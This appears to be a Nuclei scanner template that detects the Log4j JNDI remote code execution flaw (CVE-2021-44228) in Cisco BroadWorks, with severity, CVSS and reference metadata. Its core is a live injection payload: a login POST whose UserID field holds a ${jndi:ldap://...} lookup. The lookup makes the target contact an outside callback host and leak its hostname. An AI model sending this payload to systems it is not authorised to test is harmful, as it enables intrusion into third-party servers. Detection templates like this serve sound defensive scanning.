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id : cisco-broadworks-log4j-rce
info :
name : Cisco BroadWorks - Remote Code Execution (Apache Log4j)
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author : shaikhyaser
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severity : critical
description : |
Cisco BroadWorks is susceptible to Log4j JNDI remote code execution. Cisco BroadWorks is an enterprise-grade calling and collaboration platform delivering unmatched performance, security and scale.
reference :
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score : 10
cve-id : CVE-2021-44228
cwe-id : CWE-77
metadata :
max-request : 1
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fofa-query : "Cisco BroadWorks"
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tags : cve,cve2021,rce,jndi,log4j,cisco,oast,kev
variables :
rand1 : '{{rand_int(111, 999)}}'
rand2 : '{{rand_int(111, 999)}}'
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str : "{{rand_base(5)}}"
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http :
- raw :
- |
POST /commpilot/servlet/Login HTTP/1.1
Host : {{Hostname}}
Origin : {{RootURL}}
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Referer : {{RootURL}}
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Content-Type : application/x-www-form-urlencoded
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domain={{str}}.com&UserID=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&EnteredUserID=a&Password=a
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matchers-condition : and
matchers :
- type : word
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part : interactsh_protocol # Confirms the DNS Interaction
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words :
- "dns"
- type : regex
part : interactsh_request
regex :
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
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extractors :
- type : kval
kval :
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- interactsh_ip # Print remote interaction IP in output
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- type : regex
group : 2
regex :
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
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part : interactsh_request
- type : regex
group : 1
regex :
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
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part : interactsh_request
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# digest: 4b0a00483046022100f5bee00bb3fd565e95a9e4f82dd21a9f95f5a662b25057fafd39364f93c89b3d02210082e540e7f6231bd819080512f6be567cad2ccf3fc5f87797ac51cb62029f9e5c:922c64590222798bb761d5b6d8e72950